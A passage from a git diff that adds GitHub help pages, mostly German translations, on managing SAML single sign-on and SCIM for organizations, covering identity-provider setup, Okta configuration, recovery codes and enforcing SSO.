+Mitglieder müssen sich regelmäßig bei Deinem IdP anmelden, um sich zu authentifizieren und Zugang zu den Ressourcen Deiner Organisation zu erhalten. Die Dauer dieser Anmeldephase wird von Deinem IdP festgelegt und beträgt in der Regel 24 Stunden. Durch diese Verpflichtung zur regelmäßigen Anmeldung wird die Dauer des Zugriffs begrenzt, und die Benutzer müssen sich erneut identifizieren, um fortzufahren.
+
+Um auf die geschützten Ressourcen der Organisation über das API und Git in der Befehlszeile zuzugreifen, müssen Mitglieder sich mit einem {% data variables.product.pat_generic %} oder SSH-Schlüssel autorisieren und authentifizieren. Weitere Informationen findest du unter [Autorisieren eines {% data variables.product.pat_generic %} für die Verwendung mit SAML Single Sign-On](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) und [Autorisieren eines SSH-Schlüssels für die Verwendung mit SAML Single Sign-On](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on).
+
+Wenn ein Mitglied zum ersten Mal SAML SSO für den Zugriff auf deine Organisation verwendet, erstellt {% data variables.product.prodname_dotcom %} automatisch einen Datensatz, der deine Organisation, das Konto des Mitglieds bei {% data variables.location.product_location %} und das Konto des Mitglieds bei deinem Identitätsanbieter miteinander verknüpft. Du kannst die verknüpfte SAML-Identität, aktive Sitzungen und autorisierte Anmeldeinformationen für Mitglieder Deiner Organisation oder Deines Enterprise-Kontos anzeigen und widerrufen. Weitere Informationen findest du unter [Anzeigen und Verwalten des SAML-Zugriffs eines Mitglieds auf deine Organisation](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) und [Anzeigen und Verwalten des SAML-Zugriffs eines Benutzers auf dein Unternehmenskonto](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise).
+
+Wenn Mitglieder ein neues Repository erstellen, während sie bei einer SAML-SSO-Sitzung angemeldet sind, ist die standardmäßige Sichtbarkeit dieses Repositorys privat. Andernfalls ist die Standardsichtbarkeit öffentlich. Weitere Informationen zur Sichtbarkeit von Repositorys findest du unter [Informationen zu Repository](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility).
+
+Organisationsmitglieder müssen auch eine aktive SAML-Sitzung haben, um eine {% data variables.product.prodname_oauth_app %} zu autorisieren. Du kannst Dich von dieser Anforderung abmelden, indem Du {% data variables.contact.contact_support %} kontaktierst. {% data variables.product.product_name %} empfiehlt nicht, sich von dieser Anforderung abzumelden, weil dies Deine Organisation einem höheren Risiko von Kontoübernahmen und potenziellen Datenverlust aussetzt.
+
+{% data reusables.saml.saml-single-logout-not-supported %}
+
+## Unterstützte SAML-Dienste
+
+{% data reusables.saml.saml-supported-idps %}
+
+Einige Identitätsanbieter unterstützen die Bereitstellung des Zugriffs auf eine {% data variables.product.prodname_dotcom %}-Organisation über SCIM. Weitere Informationen findest du unter [Informationen zu SCIM für Organisationen](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations).
+
+{% data reusables.scim.enterprise-account-scim %} 
+
+## Mitglieder zu einer Organisation mit SAML SSO hinzufügen
+
+Nachdem du SAML-SSO aktiviert hast, gibt es mehrere Möglichkeiten, deiner Organisation neue Mitglieder hinzuzufügen. Organisationsinhaber können neue Mitglieder manuell auf {% data variables.product.product_name %} oder über das API einladen. Weitere Informationen findest du unter [Einladen von Benutzern zum Beitritt zu deiner Organisation](/articles/inviting-users-to-join-your-organization) und [Mitglieder](/rest/reference/orgs#add-or-update-organization-membership).
+
+Wenn du neue Benutzer ohne Einladung eines Organisationsbesitzers bereitstellen möchtest, kannst du die URL `https://github.com/orgs/ORGANIZATION/sso/sign_up` verwenden und dabei _ORGANIZATION_ durch den Namen deiner Organisation ersetzen. Du kannst beispielsweise Deinen IdP so konfigurieren, dass jeder, der Zugriff auf den IdP hat, auf einen Link im Dashboard des IdP klicken kann, um Deiner {% data variables.product.prodname_dotcom %}-Organisation beizutreten.
+
+{% note %}
+
+**Hinweis:** Die Bereitstellung neuer Benutzer über `https://github.com/orgs/ORGANIZATION/sso/sign_up` wird nur unterstützt, wenn SAML SSO auf Organisationsebene konfiguriert ist. Sie wird nicht unterstützt, wenn SAML SSO auf Unternehmenskontoebene konfiguriert ist. Weitere Informationen zu SAML SSO findest du unter [Informationen zu SAML for Enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam).
+
+{% endnote %}
+
+Wenn Dein IdP SCIM unterstützt, kann {% data variables.product.prodname_dotcom %} automatisch Mitglieder einladen, Deiner Organisation beizutreten, wenn Du den Zugriff auf Deine IdP erlaubst. Wenn Du den Zugriff eines Mitglieds auf Deine {% data variables.product.prodname_dotcom %}-Organisation auf Deinem SAML IdP entfernst, wird das Mitglied automatisch aus der {% data variables.product.prodname_dotcom %}-Organisation entfernt. Weitere Informationen findest du unter [Informationen zu SCIM für Organisationen](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations).
+
+{% data reusables.organizations.team-synchronization %}
+
+{% data reusables.saml.saml-single-logout-not-supported %}
+
+## Weiterführende Themen
+
+- [Referenz zur SAML-Konfiguration](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference)
+- [Informationen zur zweistufigen Authentifizierung und zu SAML-SSO](/articles/about-two-factor-authentication-and-saml-single-sign-on)
+- [Informationen zur Authentifizierung mit SAML-SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations.md
new file mode 100644
index 0000000000..92c3253785
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations.md
@@ -0,0 +1,53 @@
+---
+title: Informationen zu SCIM für Organisationen
+intro: Mit „System for Cross-domain Identity Management“ (SCIM) können Administrator*innen den Austausch von Benutzeridentitätsinformationen zwischen Systemen automatisieren.
+redirect_from:
+  - /articles/about-scim
+  - /github/setting-up-and-managing-organizations-and-teams/about-scim
+  - /organizations/managing-saml-single-sign-on-for-your-organization/about-scim
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+ms.openlocfilehash: 8071909478d52770f2e8107df31e61b7111f73c6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068292'
+---
+## Informationen zu SCIM für Organisationen
+
+Wenn deine Organisation [SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on) verwendet, kannst du SCIM implementieren, um den Zugriff von Organisationsmitgliedern auf {% data variables.product.product_name %} zu gewähren, zu verwalten und zu entziehen. Ein Administrator kann beispielsweise die Bereitstellung des Zugriffs eines Organisationsmitglieds mithilfe von SCIM aufheben und das Mitglied automatisch aus der Organisation entfernen.
+
+{% data reusables.saml.ghec-only %}
+
+{% data reusables.scim.enterprise-account-scim %}
+
+Wenn du SAML-SSO verwendest, ohne SCIM zu implementieren, erfolgt keine automatische Aufhebung der Bereitstellung. Wenn die Sitzungen von Organisationsmitgliedern ablaufen, nachdem ihr Zugriff aus dem IdP entfernt wurde, werden sie nicht automatisch aus der Organisation entfernt. Autorisierte Token gewähren der Organisation auch nach Ablauf ihrer Sitzungen Zugriff. Wenn SCIM nicht verwendet wird, muss der bzw. die Organisationsbesitzer*in den Zugriff eines Mitglieds beim IdP entziehen und das Mitglied in {% data variables.product.prodname_dotcom %} aus der Organisation entfernen, um dessen Zugriff vollständig zu entziehen.
+
+{% data reusables.scim.changes-should-come-from-idp %}
+
+## Unterstützte Identitätsanbieter
+
+Die folgenden Identitätsanbieter (IdPs) sind mit der SCIM-API von {% data variables.product.product_name %} für Organisationen kompatibel. Weitere Informationen findest du unter [SCIM](/rest/scim) in der {% ifversion ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API-Dokumentation.
+- Azure AD
+- Okta
+- OneLogin
+
+## Informationen zur SCIM-Konfiguration für Organisationen
+
+{% data reusables.scim.dedicated-configuration-account %}
+
+Bevor du {% data variables.product.prodname_oauth_app %} autorisierst, muss eine aktive SAML-Sitzung vorhanden sein. Weitere Informationen findest du unter [Informationen zur Authentifizierung mit SAML Single Sign-On](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso).
+
+{% note %}
+
+**Hinweis:** {% data reusables.scim.nameid-and-username-must-match %}
+
+{% endnote %} 
+
+## Weitere Informationsquellen
+
+- [Anzeigen und Verwalten des SAML-Zugriffs eines Mitglieds auf deine Organisation](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
new file mode 100644
index 0000000000..154723aa10
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
@@ -0,0 +1,28 @@
+---
+title: Zugriff auf Ihre Organisation bei nicht verfügbarem Identity Provider
+intro: 'Administratoren von Organisationen können sich bei {% data variables.product.product_name %} anmelden, auch wenn ihr Identitätsanbieter nicht verfügbar ist, indem sie Single Sign-On umgehen und ihre Wiederherstellungscodes verwenden.'
+redirect_from:
+  - /articles/accessing-your-organization-if-your-identity-provider-is-unavailable
+  - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organization-if-your-identity-provider-is-unavailable
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Unavailable identity provider
+ms.openlocfilehash: fd965c2c847378936e10ff5cc5560397a09ca372
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106180'
+---
+Organisationsadministratoren können [einen ihrer heruntergeladenen oder gespeicherten Wiederherstellungscodes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes) verwenden, um einmaliges Anmelden zu umgehen. Möglicherweise hast du diese in einem Kennwort-Manager wie [LastPass](https://lastpass.com/) oder [1Password](https://1password.com/) gespeichert.
+
+{% data reusables.saml.recovery-code-caveats %}
+
+{% data reusables.saml.recovery-code-access %}
+
+## Weiterführende Themen
+
+- [Informationen zur Identitäts- und Zugriffsverwaltung mit SAML-SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on)
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
new file mode 100644
index 0000000000..ce04ec7d36
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
@@ -0,0 +1,64 @@
+---
+title: Configuring SAML single sign-on and SCIM using Okta
+intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) with Okta to automatically manage access to your organization on {% data variables.location.product_location %}.'
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/configuring-saml-single-sign-on-and-scim-using-okta
+permissions: Organization owners can configure SAML SSO and SCIM using Okta for an organization.
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Configure SAML & SCIM with Okta
+---
+
+## About SAML and SCIM with Okta
+
+You can control access to your organization on {% data variables.location.product_location %} and other web applications from one central interface by configuring the organization to use SAML SSO and SCIM with Okta, an Identity Provider (IdP).
+
+{% data reusables.saml.ghec-only %}
+
+SAML SSO controls and secures access to organization resources like repositories, issues, and pull requests. SCIM automatically adds, manages, and removes members' access to your organization on {% data variables.location.product_location %} when you make changes in Okta. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)" and "[About SCIM for organizations](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)."
+
+After you enable SCIM, the following provisioning features are available for any users that you assign your {% data variables.product.prodname_ghe_cloud %} application to in Okta.
+
+| Feature | Description |
+| --- | --- |
+| Push New Users | When you create a new user in Okta, the user will receive an email to join your organization on {% data variables.location.product_location %}. |
+| Push User Deactivation | When you deactivate a user in Okta, Okta will remove the user from your organization on {% data variables.location.product_location %}. |
+| Push Profile Updates | When you update a user's profile in Okta, Okta will update the metadata for the user's membership in your organization on {% data variables.location.product_location %}. |
+| Reactivate Users | When you reactivate a user in Okta, Okta will send an email invitation for the user to rejoin your organization on {% data variables.location.product_location %}. |
+
+Alternatively, you can configure SAML SSO for an enterprise using Okta. SCIM for enterprise accounts is only available with Enterprise Managed Users. For more information, see "[Configuring SAML single sign-on for your enterprise using Okta](/admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)" and "[Configuring SCIM provisioning for Enterprise Managed Users with Okta](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta)."
+
+## Adding the {% data variables.product.prodname_ghe_cloud %} application in Okta
+
+{% data reusables.saml.okta-sign-on-tab %}
+{% data reusables.saml.okta-view-setup-instructions %}
+1. Enable and test SAML SSO on {% data variables.product.prodname_dotcom %} using the sign on URL, issuer URL, and public certificates from the "How to Configure SAML 2.0" guide. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization#enabling-and-testing-saml-single-sign-on-for-your-organization)."
+
+## Configuring access provisioning with SCIM in Okta
+
+{% data reusables.scim.dedicated-configuration-account %}
+
+1. Sign into {% data variables.product.prodname_dotcom_the_website %} using an account that is an organization owner and is ideally used only for SCIM configuration.
+1. To create an active SAML session for your organization, navigate to `https://github.com/orgs/ORGANIZATION-NAME/sso`. For more information, see "[About authentication with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso)."
+1. Navigate to Okta.
+{% data reusables.saml.okta-dashboard-click-applications %}
+{% data reusables.saml.okta-applications-click-ghec-application-label %}
+{% data reusables.saml.okta-provisioning-tab %}
+{% data reusables.saml.okta-configure-api-integration %}
+{% data reusables.saml.okta-enable-api-integration %}
+1. Click **Authenticate with {% data variables.product.prodname_ghe_cloud %} - Organization**.
+1. To the right of your organization's name, click **Grant**.
+
+  !["Grant" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png)
+1. Click **Authorize OktaOAN**.
+{% data reusables.saml.okta-save-provisioning %}
+{% data reusables.saml.okta-edit-provisioning %}
+
+## Further reading
+
+- "[Configuring SAML single sign-on for your enterprise account using Okta](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)"
+- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation
+- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
new file mode 100644
index 0000000000..44411347dd
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
@@ -0,0 +1,45 @@
+---
+title: Verbinden deines Identitätsanbieters mit deiner Organisation
+intro: 'Um die einmalige SAML-Anmeldung und SCIM zu verwenden, musst du deinen Identitätsanbieter (IdP) mit deiner Organisation auf {% data variables.product.product_name %} verbinden.'
+redirect_from:
+  - /articles/connecting-your-identity-provider-to-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization
+versions:
+  ghec: '*'
+topics:
+  - Authentication
+  - Organizations
+  - Teams
+shortTitle: Connect an IdP
+ms.openlocfilehash: fe20822b6f3381b6cdc6dbf844c84a93d8d4ea0f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145125673'
+---
+## Informationen zum Verbinden deines IdP mit deiner Organisation
+
+Wenn du SAML-SSO für deine {% data variables.product.product_name %}-Organisation aktivierst, verbinde deinen Identitätsanbieter (IdP) mit deiner Organisation. Weitere Informationen findest du unter [Aktivieren und Testen des einmaligen Anmeldens mit SAML für deine Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization).
+
+{% data reusables.saml.ghec-only %}
+
+Die SAML- und SCIM-Implementierungsdetails für deinen IdP findest du in der IdP-Dokumentation.
+- Active Directory Federation Services (AD FS) [SAML](https://docs.microsoft.com/windows-server/identity/active-directory-federation-services)
+- Azure Active Directory (Azure AD) [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) und [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial)
+- Okta [SAML](http://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) und [SCIM](http://developer.okta.com/standards/SCIM/)
+- OneLogin [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) und [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e)
+- PingOne [SAML](https://support.pingidentity.com/s/marketplace-integration/a7i1W0000004ID3QAM/github-connector)
+- Shibboleth [SAML](https://wiki.shibboleth.net/confluence/display/IDP30/Home)
+
+{% note %}
+
+**Hinweis:** Von {% data variables.product.product_name %} unterstützte Identitätsanbieter für SCIM sind Azure AD, Okta und OneLogin. Weitere Informationen zu SCIM findest du unter [Informationen zu SCIM für Organisationen](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations).
+
+{% data reusables.scim.enterprise-account-scim %} 
+
+{% endnote %}
+
+## SAML-Metadaten
+
+Weiter Informationen über SAML-Metadaten für deine Organisation finden findest du unter [SAML-Konfigurationshinweise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference).
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
new file mode 100644
index 0000000000..01040de16f
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
@@ -0,0 +1,37 @@
+---
+title: Downloading your organization's SAML single sign-on recovery codes
+intro: 'Organization administrators should download their organization''s SAML single sign-on recovery codes to ensure that they can access {% data variables.product.product_name %} even if the identity provider for the organization is unavailable.'
+redirect_from:
+  - /articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes
+  - /articles/downloading-your-organizations-saml-single-sign-on-recovery-codes
+  - /github/setting-up-and-managing-organizations-and-teams/downloading-your-organizations-saml-single-sign-on-recovery-codes
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Download SAML recovery codes
+---
+
+Recovery codes should not be shared or distributed. We recommend saving them with a password manager such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+5. Under "SAML single sign-on", in the note about recovery codes, click **Save your recovery codes**.
+![Link to view and save your recovery codes](/assets/images/help/saml/saml_recovery_codes.png)
+6. Save your recovery codes by clicking **Download**, **Print**, or **Copy**.
+![Buttons to download, print, or copy your recovery codes](/assets/images/help/saml/saml_recovery_code_options.png)
+
+  {% note %}
+
+  **Note:** Your recovery codes will help get you back into {% data variables.product.product_name %} if your IdP is unavailable. If you generate new recovery codes the recovery codes displayed on the "Single sign-on recovery codes" page are automatically updated.
+
+  {% endnote %}
+
+7. Once you use a recovery code to regain access to {% data variables.product.product_name %}, it cannot be reused. Access to {% data variables.product.product_name %} will only be available for 24 hours before you'll be asked to sign in using single sign-on.
+
+## Further reading
+
+- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[Accessing your organization if your identity provider is unavailable](/articles/accessing-your-organization-if-your-identity-provider-is-unavailable)"
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
new file mode 100644
index 0000000000..bcb2a67892
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
@@ -0,0 +1,68 @@
+---
+title: Enabling and testing SAML single sign-on for your organization
+intro: Organization owners and admins can enable SAML single sign-on to add an extra layer of security to their organization.
+redirect_from:
+  - /articles/enabling-and-testing-saml-single-sign-on-for-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/enabling-and-testing-saml-single-sign-on-for-your-organization
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Enable & test SAML SSO
+---
+
+## About SAML single sign-on
+
+You can enable SAML SSO in your organization without requiring all members to use it. Enabling but not enforcing SAML SSO in your organization can help smooth your organization's SAML SSO adoption. Once a majority of your organization's members use SAML SSO, you can enforce it within your organization.
+
+{% data reusables.saml.ghec-only %}
+
+If you enable but don't enforce SAML SSO, organization members who choose not to use SAML SSO can still be members of the organization. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+
+{% data reusables.saml.outside-collaborators-exemption %}
+
+{% data reusables.saml.saml-disabled-linked-identities-removed %}
+
+## Enabling and testing SAML single sign-on for your organization
+
+Before your enforce SAML SSO in your organization, ensure that you've prepared the organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/articles/preparing-to-enforce-saml-single-sign-on-in-your-organization)."
+
+For more information about the identity providers (IdPs) that {% data variables.product.company_short %} supports for SAML SSO, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)."
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+5. Under "SAML single sign-on", select **Enable SAML authentication**.
+![Checkbox for enabling SAML SSO](/assets/images/help/saml/saml_enable.png)
+
+  {% note %}
+
+  **Note:** After enabling SAML SSO, you can download your single sign-on recovery codes so that you can access your organization even if your IdP is unavailable. For more information, see "[Downloading your organization's SAML single sign-on recovery codes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)."
+
+  {% endnote %}
+
+6. In the "Sign on URL" field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration.
+![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url.png)
+7. Optionally, in the "Issuer" field, type your SAML issuer's name. This verifies the authenticity of sent messages.
+![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
+8. Under "Public Certificate," paste a certificate to verify SAML responses.
+![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
+9. Click {% octicon "pencil" aria-label="The edit icon" %} and then in the Signature Method and Digest Method drop-downs, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests.
+![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
+10. Before enabling SAML SSO for your organization, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
+
+  {% tip %}
+
+  **Tip:** {% data reusables.saml.testing-saml-sso %}
+
+  {% endtip %}
+11. To enforce SAML SSO and remove all organization members who haven't authenticated via your IdP, select **Require SAML SSO authentication for all members of the _organization name_ organization**. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+![Checkbox to require SAML SSO for your organization ](/assets/images/help/saml/saml_require_saml_sso.png)
+12. Click **Save**.
+![Button to save SAML SSO settings](/assets/images/help/saml/saml_save.png)
+
+## Further reading
+
+- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[SAML configuration reference](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference)"
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
new file mode 100644
index 0000000000..79be133139
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
@@ -0,0 +1,52 @@
+---
+title: Enforcing SAML single sign-on for your organization
+intro: Organization owners and admins can enforce SAML SSO so that all organization members must authenticate via an identity provider (IdP).
+redirect_from:
+  - /articles/enforcing-saml-single-sign-on-for-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/enforcing-saml-single-sign-on-for-your-organization
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Enforce SAML single sign-on
+---
+
+## About enforcement of SAML SSO for your organization
+
+When you enable SAML SSO, {% data variables.product.prodname_dotcom %} will prompt members who visit the organization's resources on {% data variables.product.prodname_dotcom_the_website %} to authenticate on your IdP, which links the member's personal account to an identity on the IdP. Members can still access the organization's resources before authentication with your IdP.
+
+![Banner with prompt to authenticate via SAML SSO to access organization](/assets/images/help/saml/sso-has-been-enabled.png)
+
+You can also enforce SAML SSO for your organization. {% data reusables.saml.when-you-enforce %} Enforcement removes any members and administrators who have not authenticated via your IdP from the organization. {% data variables.product.company_short %} sends an email notification to each removed user. 
+
+{% data reusables.saml.ghec-only %}
+
+{% data reusables.saml.removed-users-can-rejoin %} If a user rejoins the organization within three months, the user's access privileges and settings will be restored. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)."
+
+Bots and service accounts that do not have external identities set up in your organization's IdP will also be removed when you enforce SAML SSO. For more information about bots and service accounts, see "[Managing bots and service accounts with SAML single sign-on](/articles/managing-bots-and-service-accounts-with-saml-single-sign-on)."
+
+If your organization is owned by an enterprise account, requiring SAML for the enterprise account will override your organization-level SAML configuration and enforce SAML SSO for every organization in the enterprise. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+
+{% tip %}
+
+**Tip:** {% data reusables.saml.testing-saml-sso %}
+
+{% endtip %}
+
+## Enforcing SAML SSO for your organization
+
+1. Enable and test SAML SSO for your organization, then authenticate with your IdP at least once. For more information, see "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)."
+1. Prepare to enforce SAML SSO for your organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization)."
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+1. Under "SAML single sign-on", select **Require SAML SSO authentication for all members of the _ORGANIZATION_ organization**.
+    !["Require SAML SSO authentication" checkbox](/assets/images/help/saml/require-saml-sso-authentication.png)
+1. If any organization members have not authenticated via your IdP, {% data variables.product.company_short %} displays the members. If you enforce SAML SSO, {% data variables.product.company_short %} will remove the members from the organization. Review the warning and click **Remove members and require SAML single sign-on**.
+    !["Confirm SAML SSO enforcement" dialog with list of members to remove from organization](/assets/images/help/saml/confirm-saml-sso-enforcement.png)
+1. Under "Single sign-on recovery codes", review your recovery codes. Store the recovery codes in a safe location like a password manager.
+
+## Further reading
+
+- "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"
diff --git a/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
new file mode 100644
index 0000000000..19237307f8
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
@@ -0,0 +1,33 @@
+---
+title: SAML Single Sign-On für deine Organisation verwalten
+intro: Organisationsbesitzer können die Identitäten der Mitglieder ihrer Organisation und den Zugriff auf die Organisation mit SAML-SSO verwalten.
+redirect_from:
+  - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on
+  - /articles/managing-saml-single-sign-on-for-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/managing-saml-single-sign-on-for-your-organization
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /about-identity-and-access-management-with-saml-single-sign-on
+  - /about-scim-for-organizations
